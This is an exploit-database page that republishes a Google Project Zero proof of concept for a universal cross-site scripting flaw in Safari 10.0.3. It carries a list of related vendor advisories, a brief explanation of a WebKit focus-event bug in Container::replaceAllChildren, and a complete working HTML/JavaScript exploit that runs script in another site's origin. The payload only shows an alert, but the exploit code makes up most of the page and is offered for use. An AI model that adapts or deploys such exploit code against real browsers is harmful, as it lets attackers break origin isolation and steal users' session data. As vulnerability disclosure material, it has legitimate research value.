Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting Exploit

🗓️ 12 Apr 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 51 Views

Universal Cross-Site Scripting exploit on Apple Safari 10.0.3 (12602.4.8

Reporter	Title	Published	Views	Family All 29
Tenable Nessus	iTunes < 12.6 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (credentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	Apple iTunes < 12.6 Multiple Vulnerabilities (uncredentialed check)	8 May 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1 Multiple Vulnerabilities	3 Apr 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2479	10 Sep 202500:00	–	nessus
Apple	About the security content of iTunes 12.6 for Windows	21 Mar 201700:00	–	apple
Apple	About the security content of iCloud for Windows 6.2	28 Mar 201700:00	–	apple
Apple	About the security content of iOS 10.3	27 Mar 201700:00	–	apple
Apple	About the security content of Safari 10.1	27 Mar 201700:00	–	apple
Apple	About the security content of tvOS 10.2	27 Mar 201700:00	–	apple

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1119
 
This is somewhat similar to https://crbug.com/663476.
 
Here's a snippet of Container::replaceAllChildren.
 
while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}
 
If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.
 
Tested on Safari 10.0.3(12602.4.8).
-->
 
<html>
<head>
</head>
<body>
<script>
 
let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';
 
let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;
 
    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;
 
        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);
 
</sc` + `ript>
<element a="1" a="2" />
</svg>`;
 
        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };
 
    window.g.src = 'https://abc.xyz/';
};
 
f.contentWindow.location.hash = 'btn';
inp.textContent = '';
 
</script>
</body>
</html>

#  0day.today [2018-03-10]  #

12 Apr 2017 00:00Current

7.7High risk

Vulners AI Score7.7

EPSS0.24739